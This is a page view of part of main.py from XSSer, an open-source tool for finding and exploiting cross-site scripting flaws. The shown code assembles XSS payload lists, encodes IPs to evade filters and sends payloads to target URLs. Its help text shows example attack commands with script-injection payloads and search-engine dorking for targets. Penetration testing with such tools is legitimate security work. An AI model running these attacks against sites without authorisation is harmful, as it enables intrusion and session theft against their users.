main.py 214 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. This file is part of the XSSer project, https://xsser.03c8.net
  6. Copyright (c) 2010/2021 | psy <epsylon@riseup.net>
  7. xsser is free software; you can redistribute it and/or modify it under
  8. the terms of the GNU General Public License as published by the Free
  9. Software Foundation version 3 of the License.
  10. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  11. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  12. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  13. details.
  14. You should have received a copy of the GNU General Public License along
  15. with xsser; if not, write to the Free Software Foundation, Inc., 51
  16. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  17. """
  18. import os, re, sys, datetime, hashlib, time, cgi, traceback, webbrowser, random
  19. try:
  20. import urllib.request, urllib.error, urllib.parse
  21. except:
  22. print ("\n[Info] XSSer no longer supports Python2: (https://www.python.org/doc/sunset-python-2/). Try to run the tool with Python3.x.y... (ex: python3 xsser)\n")
  23. sys.exit()
  24. from random import randint
  25. from base64 import b64encode, b64decode
  26. from http.cookies import SimpleCookie
  27. import core.fuzzing
  28. import core.fuzzing.vectors
  29. import core.fuzzing.DCP
  30. import core.fuzzing.DOM
  31. import core.fuzzing.HTTPsr
  32. import core.fuzzing.heuristic
  33. from collections import defaultdict
  34. from itertools import islice, chain
  35. from urllib.parse import parse_qs, urlparse
  36. from core.curlcontrol import Curl
  37. from core.encdec import EncoderDecoder
  38. from core.options import XSSerOptions
  39. from core.dork import Dorker
  40. from core.crawler import Crawler
  41. from core.imagexss import ImageInjections
  42. from core.flashxss import FlashInjections
  43. from core.post.xml_exporter import xml_reporting
  44. from core.tokenhub import HubThread
  45. from core.reporter import XSSerReporter
  46. from core.threadpool import ThreadPool, NoResultsPending
  47. from core.update import Updater
  48. # set to emit debug messages about errors (False = off).
  49. DEBUG = False
  50. class xsser(EncoderDecoder, XSSerReporter):
  51. """
  52. XSSer application class
  53. """
  54. def __init__(self, mothership=None):
  55. self._reporter = None
  56. self._reporters = []
  57. self._landing = False
  58. self._ongoing_requests = 0
  59. self._oldcurl = []
  60. self._gtkdir = None
  61. self._webbrowser = webbrowser
  62. self.crawled_urls = []
  63. self.checked_urls = []
  64. self.successful_urls = []
  65. self.urlmalformed = False
  66. self.search_engines = [] # available dorking search engines
  67. self.search_engines.append('bing') # [26/08/2019: OK!]
  68. self.search_engines.append('yahoo') # [26/08/2019: OK!]
  69. self.search_engines.append('startpage') # [26/08/2019: OK!]
  70. self.search_engines.append('duck') # [26/08/2019: OK!]
  71. #self.search_engines.append('google')
  72. #self.search_engines.append('yandex')
  73. self.user_template = None # wizard user template
  74. self.user_template_conntype = "GET" # GET by default
  75. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  76. if not mothership:
  77. # no mothership so *this* is the mothership
  78. # start the communications hub and rock on!
  79. self.hub = None
  80. self.pool = ThreadPool(0)
  81. self.mothership = None
  82. self.final_attacks = {}
  83. else:
  84. self.hub = None
  85. self.mothership = mothership
  86. self.mothership.add_reporter(self)
  87. self.pool = ThreadPool(0)
  88. self.final_attacks = self.mothership.final_attacks
  89. # initialize the url encoder/decoder
  90. EncoderDecoder.__init__(self)
  91. # your unique real opponent
  92. self.time = datetime.datetime.now()
  93. # this payload comes with vector already..
  94. self.DEFAULT_XSS_PAYLOAD = 'XSS'
  95. # to be or not to be...
  96. self.hash_found = []
  97. self.hash_notfound = []
  98. # other hashes
  99. self.hashed_injections={}
  100. self.extra_hashed_injections={}
  101. self.extra_hashed_vector_url = {}
  102. self.final_hashes = {} # final hashes used by each method
  103. # some counters for checker systems
  104. self.errors_isalive = 0
  105. self.next_isalive = False
  106. self.flag_isalive_num = 0
  107. self.rounds = 0
  108. self.round_complete = 0
  109. # some controls about targets
  110. self.urlspoll = []
  111. # some statistics counters for connections
  112. self.success_connection = 0
  113. self.not_connection = 0
  114. self.forwarded_connection = 0
  115. self.other_connection = 0
  116. # some statistics counters for payloads
  117. self.xsr_injection = 0
  118. self.xsa_injection = 0
  119. self.coo_injection = 0
  120. self.manual_injection = 0
  121. self.auto_injection = 0
  122. self.dcp_injection = 0
  123. self.dom_injection = 0
  124. self.httpsr_injection = 0
  125. self.check_positives = 0
  126. # some statistics counters for injections found
  127. self.xsr_found = 0
  128. self.xsa_found = 0
  129. self.coo_found = 0
  130. self.manual_found = 0
  131. self.auto_found = 0
  132. self.dcp_found = 0
  133. self.dom_found = 0
  134. self.httpsr_found = 0
  135. self.false_positives = 0
  136. # some statistics counters for heuristic parameters
  137. self.heuris_hashes = []
  138. self.heuris_backslash_found = 0
  139. self.heuris_une_backslash_found = 0
  140. self.heuris_dec_backslash_found = 0
  141. self.heuris_backslash_notfound = 0
  142. self.heuris_slash_found = 0
  143. self.heuris_une_slash_found = 0
  144. self.heuris_dec_slash_found = 0
  145. self.heuris_slash_notfound = 0
  146. self.heuris_mayor_found = 0
  147. self.heuris_une_mayor_found = 0
  148. self.heuris_dec_mayor_found = 0
  149. self.heuris_mayor_notfound = 0
  150. self.heuris_minor_found = 0
  151. self.heuris_une_minor_found = 0
  152. self.heuris_dec_minor_found = 0
  153. self.heuris_minor_notfound = 0
  154. self.heuris_semicolon_found = 0
  155. self.heuris_une_semicolon_found = 0
  156. self.heuris_dec_semicolon_found = 0
  157. self.heuris_semicolon_notfound = 0
  158. self.heuris_colon_found = 0
  159. self.heuris_une_colon_found = 0
  160. self.heuris_dec_colon_found = 0
  161. self.heuris_colon_notfound = 0
  162. self.heuris_doublecolon_found = 0
  163. self.heuris_une_doublecolon_found = 0
  164. self.heuris_dec_doublecolon_found = 0
  165. self.heuris_doublecolon_notfound = 0
  166. self.heuris_equal_found = 0
  167. self.heuris_une_equal_found = 0
  168. self.heuris_dec_equal_found = 0
  169. self.heuris_equal_notfound = 0
  170. # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
  171. self.verbose = 2
  172. self.options = None
  173. def __del__(self):
  174. if not self._landing:
  175. self.land()
  176. def get_gtk_directory(self):
  177. if self._gtkdir:
  178. return self._gtkdir
  179. local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
  180. 'gtk')
  181. if os.path.exists(local_path):
  182. self._gtkdir = local_path
  183. return self._gtkdir
  184. elif os.path.exists('/usr/share/xsser/gtk'):
  185. self._gtkdir = '/usr/share/xsser/gtk'
  186. return self._gtkdir
  187. def set_webbrowser(self, browser):
  188. self._webbrowser = browser
  189. def set_reporter(self, reporter):
  190. self._reporter = reporter
  191. def add_reporter(self, reporter):
  192. self._reporters.append(reporter)
  193. def remove_reporter(self, reporter):
  194. if reporter in self._reporters:
  195. self._reporters.remove(reporter)
  196. def generate_hash(self, attack_type='default'):
  197. """
  198. Generate a new hash for a type of attack.
  199. """
  200. date = str(datetime.datetime.now())
  201. encoded_hash = date + attack_type
  202. return hashlib.md5(encoded_hash.encode('utf-8')).hexdigest()
  203. def generate_numeric_hash(self): # 32 length as md5
  204. """
  205. Generate a new hash for numeric only XSS
  206. """
  207. newhash = ''.join(random.choice('0123456789') for i in range(32))
  208. return newhash
  209. def report(self, msg, level='info'):
  210. """
  211. Report some error from the application.
  212. levels: debug, info, warning, error
  213. """
  214. if self.verbose == 2:
  215. prefix = ""
  216. if level != 'info':
  217. prefix = "["+level+"] "
  218. print(msg)
  219. elif self.verbose:
  220. if level == 'error':
  221. sys.stdout.write("*")
  222. else:
  223. sys.stdout.write(".")
  224. for reporter in self._reporters:
  225. reporter.post(msg)
  226. if self._reporter:
  227. from twisted.internet import reactor
  228. reactor.callFromThread(self._reporter.post, msg)
  229. def set_options(self, options):
  230. """
  231. Set xsser options
  232. """
  233. self.options = options
  234. self._opt_request()
  235. def _opt_request(self):
  236. """
  237. Pass on some properties to Curl
  238. """
  239. options = self.options
  240. for opt in ['cookie', 'agent', 'referer',\
  241. 'headers', 'atype', 'acred', 'acert',
  242. 'proxy', 'ignoreproxy', 'timeout',
  243. 'delay', 'tcp_nodelay', 'retries',
  244. 'xforw', 'xclient', 'threads',
  245. 'dropcookie', 'followred', 'fli',
  246. 'nohead', 'isalive', 'alt', 'altm',
  247. 'ald'
  248. ]:
  249. if hasattr(options, opt) and getattr(options, opt):
  250. setattr(Curl, opt, getattr(options, opt))
  251. def get_payloads(self):
  252. """
  253. Process payload options and make up the payload list for the attack.
  254. """
  255. options = self.options
  256. # payloading sources for --auto
  257. payloads_fuzz = core.fuzzing.vectors.vectors
  258. if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
  259. self.options.fuzz = True
  260. # set a type for XSS auto-fuzzing vectors
  261. if options.fzz_info:
  262. fzz_payloads = []
  263. for fuzz in payloads_fuzz:
  264. if not fuzz["browser"] == "[Not Info]":
  265. fzz_payloads.append(fuzz)
  266. payloads_fuzz = fzz_payloads
  267. # set a limit for XSS auto-fuzzing vectors
  268. if options.fzz_num:
  269. try:
  270. options.fzz_num = int(options.fzz_num)
  271. except:
  272. options.fzz_num = len(payloads_fuzz)
  273. fzz_num_payloads = []
  274. fzz_vector = 0
  275. for fuzz in payloads_fuzz:
  276. fzz_vector = fzz_vector + 1
  277. if int(fzz_vector) < int(options.fzz_num)+1:
  278. fzz_num_payloads.append(fuzz)
  279. payloads_fuzz = fzz_num_payloads
  280. # set random order for XSS auto-fuzzing vectors
  281. if options.fzz_rand:
  282. try:
  283. from random import shuffle
  284. shuffle(payloads_fuzz) # shuffle paylods
  285. except:
  286. pass
  287. payloads_dcp = core.fuzzing.DCP.DCPvectors
  288. payloads_dom = core.fuzzing.DOM.DOMvectors
  289. payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
  290. manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
  291. # sustitute payload for hash to check for false positives
  292. self.hashed_payload = "XSS"
  293. checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
  294. # heuristic parameters
  295. heuristic_params = core.fuzzing.heuristic.heuristic_test
  296. def enable_options_heuristic(payloads):
  297. if options.heuristic:
  298. payloads = heuristic_params + payloads
  299. if options.dom:
  300. payloads = payloads + payloads_dom
  301. return payloads
  302. if options.fuzz:
  303. payloads = payloads_fuzz
  304. if options.dcp:
  305. payloads = payloads + payloads_dcp
  306. if options.script:
  307. payloads = payloads + manual_payload
  308. if options.hash:
  309. payloads = checker_payload + payloads
  310. if options.inducedcode:
  311. payloads = payloads + payloads_httpsr
  312. if options.heuristic:
  313. payloads = heuristic_params + payloads
  314. if options.dom:
  315. payloads = payloads + payloads_dom
  316. elif options.inducedcode:
  317. payloads = payloads + payloads_httpsr
  318. if options.heuristic:
  319. payloads = heuristic_params + payloads
  320. if options.dom:
  321. payloads = payloads + payloads_dom
  322. elif options.dom:
  323. payloads = payloads + payloads_dom
  324. elif options.heuristic:
  325. payloads = heuristic_params + payloads
  326. if options.dom:
  327. payloads = payloads + payloads_dom
  328. elif options.dom:
  329. payloads = payloads + payloads_dom
  330. elif options.hash:
  331. payloads = checker_payload + payloads
  332. if options.inducedcode:
  333. payloads = payloads + payloads_httpsr
  334. if options.heuristic:
  335. payloads = heuristic_params + payloads
  336. if options.dom:
  337. payloads = payloads + payloads_dom
  338. elif options.dom:
  339. payloads = payloads + payloads_dom
  340. elif options.inducedcode:
  341. payloads = payloads + payloads_httpsr
  342. if options.heuristic:
  343. payloads = heuristic_params + payloads
  344. if options.dom:
  345. payloads = payloads + payloads_dom
  346. elif options.dom:
  347. payloads = payloads + payloads_dom
  348. elif options.script:
  349. payloads = payloads + manual_payload
  350. if options.hash:
  351. payloads = checker_payload + payloads
  352. if options.inducedcode:
  353. payloads = payloads + payloads_httpsr
  354. if options.heuristic:
  355. payloads = heuristic_params + payloads
  356. if options.dom:
  357. payloads = payloads + payloads_dom
  358. elif options.hash:
  359. payloads = checker_payload + payloads
  360. if options.inducedcode:
  361. payloads = payloads + payloads_httpsr
  362. if options.heuristic:
  363. payloads = heuristic_params + payloads
  364. if options.dom:
  365. payloads = payloads + payloads_dom
  366. elif options.dom:
  367. payloads = payloads + payloads_dom
  368. elif options.heuristic:
  369. payloads = heuristic_params + payloads
  370. if options.dom:
  371. payloads = payloads + payloads_dom
  372. elif options.dom:
  373. payloads = payloads + payloads_dom
  374. elif options.inducedcode:
  375. payloads = payloads + payloads_httpsr
  376. if options.hash:
  377. payloads = checker_payload + payloads
  378. if options.heuristic:
  379. payloads = heuristic_params + payloads
  380. if options.dom:
  381. payloads = payloads + payloads_dom
  382. elif options.dom:
  383. payloads = payloads + payloads_dom
  384. elif options.heuristic:
  385. payloads = heuristic_params + payloads
  386. if options.dom:
  387. payloads = payloads + payloads_dom
  388. elif options.dom:
  389. payloads = payloads + payloads_dom
  390. elif options.dcp:
  391. payloads = payloads_dcp
  392. if options.script:
  393. payloads = payloads + manual_payload
  394. if options.hash:
  395. payloads = checker_payload + payloads
  396. if options.inducedcode:
  397. payloads = payloads + payloads_httpsr
  398. if options.heuristic:
  399. payloads = heuristic_params + payloads
  400. if options.dom:
  401. payloads = payloads + payloads_dom
  402. elif options.hash:
  403. payloads = checker_payload + payloads
  404. if options.inducedcode:
  405. payloads = payloads + options.inducedcode
  406. if options.heuristic:
  407. payloads = heuristic_params + payloads
  408. if options.dom:
  409. payloads = payloads + payloads_dom
  410. elif options.dom:
  411. payloads = payloads + payloads_dom
  412. elif options.inducedcode:
  413. payloads = payloads + payloads_httpsr
  414. if options.heuristic:
  415. payloads = heuristic_params + payloads
  416. if options.dom:
  417. payloads = payloads + payloads_dom
  418. elif options.dom:
  419. payloads = payloads + payloads_dom
  420. elif options.heuristic:
  421. payloads = heuristic_params + payloads
  422. if options.dom:
  423. payloads = payloads + payloads_dom
  424. elif options.dom:
  425. payloads = payloads + payloads_dom
  426. elif options.script:
  427. payloads = manual_payload
  428. if options.hash:
  429. payloads = checker_payload + payloads
  430. if options.inducedcode:
  431. payloads = payloads + payloads_httpsr
  432. if options.heuristic:
  433. payloads = heuristic_params + payloads
  434. if options.dom:
  435. payloads = payloads + payloads_dom
  436. elif options.inducedcode:
  437. payloads = payloads + payloads_httpsr
  438. if options.heuristic:
  439. payloads = heuristic_params + payloads
  440. if options.dom:
  441. payloads = payloads + payloads_dom
  442. elif options.dom:
  443. payloads = payloads + payloads_dom
  444. elif options.heuristic:
  445. payloads = heuristic_params + payloads
  446. if options.dom:
  447. payloads = payloads + payloads_dom
  448. elif options.dom:
  449. payloads = payloads + payloads_dom
  450. elif options.inducedcode:
  451. payloads = payloads_httpsr
  452. if options.hash:
  453. payloads = checker_payload + payloads
  454. if options.heuristic:
  455. payloads = heuristic_params + payloads
  456. if options.dom:
  457. payloads = payloads + payloads_dom
  458. elif options.heuristic:
  459. payloads = heuristic_params + payloads
  460. if options.dom:
  461. payloads = payloads + payloads_dom
  462. elif options.dom:
  463. payloads = payloads + payloads_dom
  464. elif options.heuristic:
  465. payloads = heuristic_params
  466. if options.hash:
  467. payloads = checker_payload + payloads
  468. if options.dom:
  469. payloads = payloads + payloads_dom
  470. elif options.dom:
  471. payloads = payloads + payloads_dom
  472. elif options.dom:
  473. payloads = payloads_dom
  474. elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
  475. payloads = [{"payload":'">PAYLOAD',
  476. "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
  477. }]
  478. else:
  479. payloads = checker_payload
  480. return payloads
  481. def process_ipfuzzing(self, text):
  482. """
  483. Mask ips in given text to DWORD
  484. """
  485. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  486. for ip in ips:
  487. text = text.replace(ip, str(self._ipDwordEncode(ip)))
  488. return text
  489. def process_ipfuzzing_octal(self, text):
  490. """
  491. Mask ips in given text to Octal
  492. """
  493. ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
  494. for ip in ips:
  495. text = text.replace(ip, str(self._ipOctalEncode(ip)))
  496. return text
  497. def process_payloads_ipfuzzing(self, payloads):
  498. """
  499. Mask ips for all given payloads using DWORD
  500. """
  501. # ip fuzzing (DWORD)
  502. if self.options.Dwo:
  503. resulting_payloads = []
  504. for payload in payloads:
  505. payload["payload"] = self.process_ipfuzzing(payload["payload"])
  506. resulting_payloads.append(payload)
  507. return resulting_payloads
  508. return payloads
  509. def process_payloads_ipfuzzing_octal(self, payloads):
  510. """
  511. Mask ips for all given payloads using OCTAL
  512. """
  513. # ip fuzzing (OCTAL)
  514. if self.options.Doo:
  515. resulting_payloads = []
  516. for payload in payloads:
  517. payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
  518. resulting_payloads.append(payload)
  519. return resulting_payloads
  520. return payloads
  521. def get_query_string(self):
  522. """
  523. Get the supplied query string.
  524. """
  525. if self.options.postdata:
  526. return self.options.postdata
  527. elif self.options.getdata:
  528. return self.options.getdata
  529. return ""
  530. def attack_url(self, url, payloads, query_string):
  531. """
  532. Attack the given url checking or not if is correct.
  533. """
  534. if not self.options.nohead:
  535. for payload in payloads:
  536. self.rounds = self.rounds + 1
  537. self.attack_url_payload(url, payload, query_string)
  538. else:
  539. hc = Curl()
  540. try:
  541. urls = hc.do_head_check([url])
  542. except:
  543. self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
  544. return
  545. self.report("-"*50 + "\n")
  546. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  547. if str(hc.info()["http-code"]) in ["301"]:
  548. url = str(hc.info()["Location"])
  549. payload = ""
  550. query_string = ""
  551. elif str(hc.info()["http-code"]) in ["302"]:
  552. url = url + "/"
  553. payload = ""
  554. query_string = ""
  555. self.success_connection = self.success_connection + 1
  556. self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
  557. for payload in payloads:
  558. self.attack_url_payload(url, payload, query_string)
  559. else:
  560. if str(hc.info()["http-code"]) in ["405"]:
  561. self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
  562. self.success_connection = self.success_connection + 1
  563. for payload in payloads:
  564. self.attack_url_payload(url, payload, query_string)
  565. else:
  566. self.not_connection = self.not_connection + 1
  567. self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
  568. self.report("-"*50 + "\n")
  569. def not_keyword_exit(self):
  570. self.report("="*30)
  571. self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
  572. self.report("-"*25)
  573. self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
  574. self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
  575. self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
  576. self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
  577. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
  578. self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
  579. self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
  580. self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
  581. self.report(" Or a mixture:\n")
  582. self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
  583. self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
  584. self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
